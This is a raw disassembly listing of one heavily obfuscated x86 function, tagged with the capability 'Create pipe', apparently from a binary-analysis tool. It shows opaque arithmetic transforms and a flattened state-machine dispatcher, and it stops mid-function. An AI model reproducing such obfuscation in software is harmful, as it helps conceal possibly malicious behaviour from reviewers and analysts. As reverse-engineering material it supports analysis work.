Function at 0x10127550
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x74
mov eax, dword [0x101d3b48]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov esi, dword [0x101d3138]
mov edx, dword [0x101d313c]
mov eax, esi
xor eax, 0xffffffff
and eax, 0x79e05925
mov edi, 0xffffffff
xor edi, 0x79e05925
and esi, edi
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x79e05925
and edx, edi
or eax, esi
or ecx, edx
xor eax, ecx
xor ecx, ecx
sub ecx, 0x19f0781a
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xf98b1df
mov edx, 0xffffffff
xor edx, 0xf98b1df
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xd9e6e3e8
mov edx, 0xffffffff
xor edx, 0xd9e6e3e8
and eax, edx
shl eax, 1
sub eax, ecx
sub eax, 0x94e39d98
sub eax, 0xf521f12d
sub eax, 0x8e97e7b9
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1af6d791
mov esi, 0xffffffff
xor esi, 0x1af6d791
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1af6d791
or eax, 0x1af6d791
imul eax, edx
add eax, ecx
imul eax, eax, 0xb053e53
imul ecx, eax, 0xfb2417cc
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xac00853e
mov eax, 0xffffffff
xor eax, 0x8bb8da4e
or ecx, edx
or eax, 0x8bb8da4e
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0xf5b67ba8
xor ecx, 0xf5b67ba8
or eax, ecx
mov ecx, 0xb1f50b01
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xa4a3060d
mov eax, ecx
xor eax, 0x183b9927
xor eax, 0xffffffff
or ecx, 0x183b9927
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xa460b53f
mov esi, 0xffffffff
xor esi, 0xa460b53f
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xa460b53f
or ecx, 0xa460b53f
imul ecx, edx
add ecx, eax
and ecx, 0xbb4d40c1
sub ecx, 0x4ead013
mov eax, ecx
and eax, 0x741cbd2f
xor ecx, 0x741cbd2f
or eax, ecx
mov ecx, 0x72502f58
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3e8c0a00
mov esi, 0xffffffff
xor esi, 0x3e8c0a00
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x3e8c0a00
or eax, 0x3e8c0a00
imul eax, edx
add eax, ecx
imul eax, eax, 0xe0220c78
mov ecx, 0x410d3dfb
xor edx, edx
div ecx
imul eax, eax, 0x88e92080
mov ecx, 0x1825f382
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd74b540
mov ecx, 0xffffffff
xor ecx, 0x7e543a5e
or eax, edx
or ecx, 0x7e543a5e
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xc9a468f5
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe4d226f7
mov edx, 0xffffffff
xor edx, 0xe4d226f7
and eax, edx
sub eax, ecx
and eax, 0x7cbc0591
mov ecx, eax
xor ecx, 0x9b780d79
mov edx, 0xffffffff
xor edx, 0x9b780d79
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3d8a5d61
and ecx, edx
or eax, 0x3d8a5d61
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0xd1ce2da1
xor ecx, 0xd1ce2da1
or eax, ecx
mov ecx, 0x9958e1fe
xor edx, edx
div ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x224b4dd5
and ecx, 0x224b4dd5
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x566eaef6
xor edx, edx
div ecx
mov esi, eax
add esi, 0x103588ec
or esi, 0x43634dd3
or esi, 0xb891680f
mov eax, esi
xor eax, 0xbeb5eed9
xor eax, 0xffffffff
or esi, 0xbeb5eed9
and esi, eax
mov edx, 0xffffffff
xor edx, 0xc5643659
mov ecx, esi
and ecx, edx
mov eax, esi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, esi
and ecx, 0xc5643659
or esi, 0xc5643659
imul esi, ecx
add esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x90e0eea8
mov edx, 0xffffffff
xor edx, 0x90e0eea8
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xe95e9589
and ecx, 0x90e0eea8
and edx, 0xe95e9589
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x72482965
mov esi, 0xffffffff
xor esi, 0x72482965
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x72482965
or eax, 0x72482965
imul eax, edx
add eax, ecx
or eax, 0x1279a769
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x28], esi
mov edx, 0xffffffff
xor edx, 0x720f9009
mov ecx, 0xffffffff
xor ecx, 0x9b7f44b
and esi, 0x9b7f44b
and eax, ecx
mov edi, edx
and edi, 0x9b7f44b
mov ebx, ecx
and ebx, 0x720f9009
or esi, eax
mov eax, dword [ebp - 0x28]
or edi, ebx
xor esi, edi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x9b7f44b
and eax, ecx
or esi, eax
add esi, 0xa919877e
add esi, 0xcac1f70b
sub esi, 0xa919877e
and esi, 0x3b265d41
or esi, esi
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x4e2985e0
mov ecx, 0xffffffff
xor ecx, 0x4e2985e0
and eax, ecx
or esi, eax
xor esi, 0xffffffff
mov eax, esi
xor eax, 0xffffffff
and eax, 0xf82d498a
mov edx, 0xffffffff
xor edx, 0xf82d498a
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xc9a612cc
and ecx, 0xf82d498a
and edx, 0xc9a612cc
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xa4e58315
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x1f89ddee
mov ecx, 0xffffffff
xor ecx, 0x1f89ddee
and esi, ecx
sub esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xaa545854
mov eax, 0xffffffff
xor eax, 0x5aa27c6f
or esi, ecx
or eax, 0x5aa27c6f
xor esi, 0xffffffff
and esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x424f2b43
mov edx, 0xffffffff
xor edx, 0x424f2b43
and esi, edx
mov eax, 0xffffffff
xor eax, 0x4464585d
and eax, 0x424f2b43
and edx, 0x4464585d
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x76f462cf
mov edx, 0xffffffff
xor edx, 0x76f462cf
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0xcd277ae0
mov esi, 0xffffffff
xor esi, 0xcd277ae0
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xcd277ae0
or eax, 0xcd277ae0
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x4bb1b14e
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x4bb1b14e
or eax, 0x4bb1b14e
imul eax, edx
add eax, ecx
mov ecx, 0x5b81282a
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xcdedcb3
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x9a1cd521
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfe01d052
or eax, edx
and ecx, 0xfe01d052
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor eax, 0xe8e11037
and eax, 0x334e50e7
mov ecx, 0xc6703d1a
xor edx, edx
div ecx
add eax, 0x6c6048c9
mov ecx, 0x6059bc41
xor edx, edx
div ecx
mov ecx, eax
mov eax, 0xffffffff
xor eax, 0x702c0c5a
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x24], eax
mov esi, 0xffffffff
xor esi, 0xf5de78a1
mov edx, 0xffffffff
xor edx, 0x30aea1db
and eax, 0x30aea1db
and ecx, edx
mov edi, esi
and edi, 0x30aea1db
mov ebx, edx
and ebx, 0xf5de78a1
or eax, ecx
mov ecx, dword [ebp - 0x24]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x30aea1db
and ecx, edx
or eax, ecx
add eax, 0x21603fe1
add eax, 0xbfd6770f
add eax, 0xb718f7d4
add eax, 0xb7b5bca2
mov dword [ebp - 0x14], 0xa2432afc
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov ecx, 0x3aa445ca
xor edx, edx
div ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
sub eax, 0x8e26117b
je 0x101290fe
jmp 0x10127b69
mov eax, dword [ebp - 0x2c]
sub eax, 0x9021bec1
je 0x1012a4e4
jmp 0x10127b7c
mov eax, dword [ebp - 0x2c]
sub eax, 0x9acc0ed0
je 0x1012b6f3
jmp 0x10127b8f
mov eax, dword [ebp - 0x2c]
sub eax, 0xa2432afc
je 0x10127d49
jmp 0x10127ba2
mov eax, dword [ebp - 0x2c]
sub eax, 0xa5305674
je 0x10129003
jmp 0x10127bb5
mov eax, dword [ebp - 0x2c]
sub eax, 0xa9ddb898
je 0x10129fcb
jmp 0x10127bc8
mov eax, dword [ebp - 0x2c]
sub eax, 0xac01d29e
je 0x1012b288
jmp 0x10127bdb
mov eax, dword [ebp - 0x2c]
sub eax, 0xc12b6164
je 0x1012adb3
jmp 0x10127bee
mov eax, dword [ebp - 0x2c]
sub eax, 0xc4474824
je 0x1012ba5d
jmp 0x10127c01
mov eax, dword [ebp - 0x2c]
sub eax, 0xe44c64f0
je 0x1012b6df
jmp 0x10127c14
mov eax, dword [ebp - 0x2c]
sub eax, 0xea5e0f76
je 0x1012b6b4
jmp 0x10127c27
mov eax, dword [ebp - 0x2c]
sub eax, 0xecd28c25
je 0x1012a8f3
jmp 0x10127c3a
mov eax, dword [ebp - 0x2c]
sub eax, 0x463396b
je 0x1012b6c2
jmp 0x10127c4d
mov eax, dword [ebp - 0x2c]
sub eax, 0xec16724
je 0x10129639
jmp 0x10127c60
mov eax, dword [ebp - 0x2c]
sub eax, 0x13871954
je 0x101282e2
jmp 0x10127c73
mov eax, dword [ebp - 0x2c]
sub eax, 0x1b672ee4
je 0x1012a4c7
jmp 0x10127c86
mov eax, dword [ebp - 0x2c]
sub eax, 0x210cead2
je 0x10128ff5
jmp 0x10127c99
mov eax, dword [ebp - 0x2c]
sub eax, 0x21541e51
je 0x1012baf3
jmp 0x10127cac
mov eax, dword [ebp - 0x2c]
sub eax, 0x22ce8d96
je 0x10129ab0
jmp 0x10127cbf
mov eax, dword [ebp - 0x2c]
sub eax, 0x3fa27335
je 0x1012badc
jmp 0x10127cd2
mov eax, dword [ebp - 0x2c]
sub eax, 0x45196f61
je 0x1012adc1
jmp 0x10127ce5
mov eax, dword [ebp - 0x2c]
sub eax, 0x4f4c6260
je 0x1012877f
jmp 0x10127cf8
mov eax, dword [ebp - 0x2c]
sub eax, 0x58a2cc21
je 0x1012ba46
jmp 0x10127d0b
mov eax, dword [ebp - 0x2c]
sub eax, 0x6172ee89
je 0x10129aa2
jmp 0x10127d1e
mov eax, dword [ebp - 0x2c]
sub eax, 0x6f308338
je 0x10127d69
jmp 0x10127d31
mov eax, dword [ebp - 0x2c]
sub eax, 0x795a89cb
je 0x101282ff
jmp 0x10127d44
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, 0xe44c64f0
mov edx, 0x6f308338
cmp esi, 0x8c126b6d
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [0x101d3140]
xor edx, edx
div dword [0x101d3144]
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xdd1fecee
mov edx, 0xffffffff
xor edx, 0xdd1fecee
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7c580b8c
mov esi, 0xffffffff
xor esi, 0x7c580b8c
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7c580b8c
or eax, 0x7c580b8c
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0xdf72ff56
sub eax, ecx
imul eax, eax, 0xb24e2fff
add eax, 0xf81aa052
mov ecx, 0x9d81ebfd
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x43e3d60f
sub ecx, 0x3c66f1f3
sub ecx, 0x43e3d60f
and ecx, 0xdc3182c1
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov esi, 0xffffffff
xor esi, 0xe50e6b60
mov edx, 0xffffffff
xor edx, 0x5fecd81c
and eax, 0x5fecd81c
and ecx, edx
mov edi, esi
and edi, 0x5fecd81c
mov ebx, edx
and ebx, 0xe50e6b60
or eax, ecx
mov ecx, dword [ebp - 0x34]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x5fecd81c
and ecx, edx
or eax, ecx
and eax, 0xf3dbf7c8
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x506fab0c
mov ecx, 0xffffffff
xor ecx, 0x1dac4f5e
or eax, edx
or ecx, 0x1dac4f5e
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x2201ec2e
xor edx, edx
div ecx
imul eax, eax, 0x3cbda059
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xba4d3a8e
mov ecx, 0xffffffff
xor ecx, 0xbfaad126
or eax, edx
or ecx, 0xbfaad126
xor eax, 0xffffffff
and eax, ecx
mov esi, eax
and esi, 0x7b42216
xor eax, 0x7b42216
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x489aef56
mov edx, 0xffffffff
xor edx, 0x489aef56
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xa35adb47
and ecx, 0x489aef56
and edx, 0xa35adb47
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xf260c7fd
mov esi, 0xffffffff
xor esi, 0xf1ce57c4
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf1ce57c4
or eax, 0xf1ce57c4
imul eax, edx
add eax, ecx
or eax, 0x816cddb3
mov ecx, eax
xor ecx, 0x9b211cc0
xor ecx, 0xffffffff
or eax, 0x9b211cc0
and eax, ecx
or eax, 0x6d3041b3
or eax, 0xe9fd9061
mov ecx, eax
and ecx, 0x8e61929
shl ecx, 1
add eax, 0x8e61929
sub eax, ecx
sub eax, 0x1f5d6a20
xor ecx, ecx
sub ecx, 0x6643ed6b
add eax, ecx
imul esi, eax, 0x65d922db
mov eax, esi
xor eax, 0xffffffff
and eax, 0x1d9f62e7
mov edx, 0xffffffff
xor edx, 0x1d9f62e7
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xc5c9b514
and ecx, 0x1d9f62e7
and edx, 0xc5c9b514
or eax, esi
or ecx, edx
xor eax, ecx
imul eax, eax, 0x98be03ee
add eax, 0x6d779812
sub eax, 0x3061f8aa
sub eax, 0x6d779812
mov ecx, eax
and ecx, 0xe06cc04b
xor ecx, 0xffffffff
add eax, 0xe06cc04b
add eax, 1
add eax, ecx
mov ecx, 0x3085356f
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x6d358b9f
mov eax, ecx
and eax, 0xbf9f7a8b
xor eax, 0xffffffff
add ecx, 0xbf9f7a8b
add ecx, 1
add ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6a330c1e
mov eax, 0xffffffff
xor eax, 0xe45c80b2
or ecx, edx
or eax, 0xe45c80b2
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0xe213b05e
shl eax, 1
xor ecx, 0xe213b05e
add ecx, eax
mov esi, 0xffffffff
xor esi, 0x76a94cfa
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x76a94cfa
or ecx, 0x76a94cfa
imul ecx, edx
add ecx, eax
xor ecx, 0x88b9470c
and ecx, 0xf9bc2350
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x7725ca99
mov esi, 0xffffffff
xor esi, 0x7725ca99
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x7725ca99
or ecx, 0x7725ca99
imul ecx, edx
add ecx, eax
or ecx, 0xc96c0ca5
and ecx, 0xc02fa2e
mov eax, ecx
and eax, 0xaa49e8e4
shl eax, 1
add ecx, 0xaa49e8e4
sub ecx, eax
add ecx, 0x11539ce2
mov eax, ecx
xor eax, 0x528ecb13
xor eax, 0xffffffff
and eax, 0x528ecb13
shl eax, 1
sub eax, 0x528ecb13
sub ecx, eax
or ecx, 0x89bbf64b
mov eax, 0xffffffff
xor eax, 0x747fe513
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
and eax, 0xaedeab16
shl eax, 1
xor ecx, 0xaedeab16
add ecx, eax
add ecx, 0xf772dd08
mov eax, ecx
and eax, 0x4da9372
or ecx, 0x4da9372
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x75459cda
mov esi, 0xffffffff
xor esi, 0x75459cda
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x75459cda
or eax, 0x75459cda
imul eax, edx
add eax, ecx
and eax, 0x88606e8
mov ecx, eax
xor ecx, 0xf44e56e0
xor ecx, 0xffffffff
or eax, 0xf44e56e0
and eax, ecx
add eax, 0xa8adaa37
add eax, 0x1bfb0dc4
sub eax, 0xa8adaa37
or eax, 0xaf5a4640
mov ecx, 0x3ce70387
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x7966966b
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x33a7d5a8
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x33a7d5a8
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0xc690b90f
xor edx, edx
div ecx
mov esi, eax
or esi, 0x3cfa4361
mov eax, esi
add eax, 1
xor esi, 0xffffffff
or esi, 0xa178e5c5
add esi, eax
mov eax, 0xffffffff
xor eax, 0xb2d90d60
xor ecx, ecx
sub ecx, 1
sub eax, ecx
sub esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xb41e693a
mov edx, 0xffffffff
xor edx, 0xb41e693a
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x1f018837
and ecx, 0xb41e693a
and edx, 0x1f018837
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0x44ef3084
xor edx, edx
div ecx
mov ecx, 0x7a86a0a6
xor edx, edx
div ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x112cf861
and ecx, 0x112cf861
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x67ce0065
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x36b7c8ff
shl eax, 1
xor ecx, 0x36b7c8ff
add ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0x2b6c9b34
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2b6c9b34
mov esi, 0xffffffff
xor esi, 0x2b6c9b34
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x5cf34555
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
or esi, esi
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x987aa61e
mov edx, 0xffffffff
xor edx, 0x987aa61e
and ecx, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
cmp dword [0x101d46f8], 0
sete cl
mov byte [ebp - 0x2d], cl
mov ecx, 0xe44c64f0
mov edx, 0x13871954
cmp esi, 0xc07cbcee
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x2d]
mov ecx, 0xa5305674
mov edx, 0x795a89cb
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [0x101d3148]
mov esi, dword [0x101d314c]
mov edx, esi
xor edx, 0xffffffff
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, esi
add eax, edx
sub eax, ecx
mov ecx, 0x3fc20e38
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x4eeb0845
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x3b05443e
or edx, 0x3b05443e
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0x3b05443e
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0xbbe29bfb
sub eax, 0xd0ac3243
sub eax, 0xbbe29bfb
sub eax, 0xd07a1b8a
mov ecx, 0xc110a3e2
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xdf4334f0
xor eax, 0xffffffff
and eax, 0xdf4334f0
shl eax, 1
sub eax, 0xdf4334f0
sub ecx, eax
sub ecx, 0xd653222e
xor ecx, 0xf683b81
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xe3962e8a
mov edx, 0xffffffff
xor edx, 0xe3962e8a
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x3328f861
shl eax, 1
xor ecx, 0x3328f861
add ecx, eax
mov edx, 0xffffffff
xor edx, 0xe379c27e
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xe379c27e
add ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x38], eax
mov esi, 0xffffffff
xor esi, 0x48c39192
mov edx, 0xffffffff
xor edx, 0x1a8e49e6
and eax, 0x1a8e49e6
and ecx, edx
mov edi, esi
and edi, 0x1a8e49e6
mov ebx, edx
and ebx, 0x48c39192
or eax, ecx
mov ecx, dword [ebp - 0x38]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x1a8e49e6
and ecx, edx
or eax, ecx
mov ecx, 0x4c50fb13
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x7dd640ff
xor ecx, 0xffffffff
and ecx, 0x7dd640ff
shl ecx, 1
sub ecx, 0x7dd640ff
sub eax, ecx
mov ecx, eax
and ecx, 0xcfba0f3e
xor ecx, 0xffffffff
add eax, 0xcfba0f3e
add eax, 1
add eax, ecx
add eax, 0xb2a3e187
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2ea4c905
mov esi, 0xffffffff
xor esi, 0x2ea4c905
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x2ea4c905
or eax, 0x2ea4c905
imul eax, edx
add eax, ecx
mov ecx, 0xc660cbd
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xb7d53654
or ecx, 0xe544dfdd
or ecx, 0xde35972a
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xe15a1ed5
mov edx, 0xffffffff
xor edx, 0xe15a1ed5
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xf5b0240a
mov esi, 0xffffffff
xor esi, 0xf5b0240a
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xf5b0240a
or ecx, 0xf5b0240a
imul ecx, edx
add ecx, eax
or ecx, 0x32a91b36
mov eax, ecx
and eax, 0x89f2d747
shl eax, 1
xor ecx, 0x89f2d747
add ecx, eax
sub ecx, 0x358f1b8a
mov eax, ecx
xor eax, 0xe0ab2571
mov edx, 0xffffffff
xor edx, 0xe0ab2571
and ecx, edx
shl ecx, 1
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0x6dc19a4c
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x6dc19a4c
add ecx, edx
sub ecx, eax
sub ecx, 0x475b6877
mov eax, 0xffffffff
xor eax, 0x740fe8ee
add ecx, eax
add ecx, 1
sub ecx, 0x54457113
add ecx, 0xb330c393
sub ecx, 0x6361de3c
sub ecx, 0xb330c393
mov eax, ecx
and eax, 0xbfa79dd3
xor ecx, 0xbfa79dd3
or eax, ecx
mov ecx, 0xd66958b
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x19611def
xor ecx, 0xffffffff
and ecx, 0x19611def
shl ecx, 1
sub ecx, 0x19611def
sub eax, ecx
imul eax, eax, 0xcf89ac6e
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xd041a68d
add eax, ecx
mov ecx, eax
and ecx, 0xc74e67d9
shl ecx, 1
xor eax, 0xc74e67d9
add eax, ecx
or eax, 0x2ba3db85
mov ecx, 0xfcadb6a0
xor edx, edx
div ecx
sub eax, 0x8d360050
or eax, 0x2703ab3f
and eax, 0x7ff34eba
or eax, 0xf22f66e5
add eax, 0xfe2ed55
mov ecx, 0xe6eb7b8e
xor edx, edx
div ecx
add eax, 0x5e3953e8
sub eax, 0xa460b09c
sub eax, 0x5e3953e8
imul eax, eax, 0xb438c21f
sub eax, 0x542860e2
mov ecx, 0x734c630d
xor edx, edx
div ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x431a8377
and ecx, 0x431a8377
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xfdd38f3d
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0xb54dcbc5
sub eax, 0xb75a3544
sub eax, 0x2d7836d2
add eax, 0xb75a3544
and eax, 0x4ecfe3cf
mov ecx, 0x5fc8a4e7
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x841ff615
xor ecx, 0xffffffff
or eax, 0x841ff615
and eax, ecx
and eax, 0xbf9d2859
mov ecx, 0x49a6dc62
xor edx, edx
div ecx
xor eax, 0x463d7964
sub eax, 0xa4302328
mov ecx, 0x569cd4b4
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, edx
xor ecx, 0xd0d3bc46
xor ecx, 0xffffffff
and ecx, 0xd0d3bc46
shl ecx, 1
sub ecx, 0xd0d3bc46
sub edx, ecx
add edx, 0xfe6e9bb6
and edx, 0x3f432c4b
xor ecx, ecx
sub ecx, 0xbf05061d
add edx, ecx
mov ecx, edx
or ecx, 0x2e1f6a1c
xor ecx, 0xffffffff
or edx, 0x2e1f6a1c
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
mov esi, ecx
or esi, 0xecf044bd
xor esi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xecf044bd
and ecx, edx
or esi, ecx
xor esi, 0xffffffff
mov edx, esi
xor edx, 0xffffffff
and edx, 0x581e3013
mov edi, 0xffffffff
xor edi, 0x581e3013
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x581e3013
or esi, 0x581e3013
imul esi, edx
add esi, ecx
mov ecx, 0x4f4c6260
mov edx, 0x9acc0ed0
cmp esi, 0xe048f615
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov ecx, dword [0x101d3150]
sub ecx, dword [0x101d3154]
mov edx, 0xffffffff
xor edx, 0xfcfc6999
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xfcfc6999
add ecx, edx
sub ecx, eax
and ecx, 0x5fff5192
mov eax, ecx
and eax, 0x9b8b994f
or ecx, 0x9b8b994f
add eax, ecx
sub eax, 0x14c138b4
mov ecx, 0x7ee57d4f
xor edx, edx
div ecx
mov ecx, 0x9b9c5633
xor edx, edx
div ecx
mov ecx, 0xf2aa6314
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x4a5501e
mov esi, 0xffffffff
xor esi, 0x4a5501e
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4a5501e
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x2ea694
xor edx, edx
div ecx
or eax, 0xe45cc397
imul eax, eax, 0x94eccd19
mov ecx, 0x7aac897
xor edx, edx
div ecx
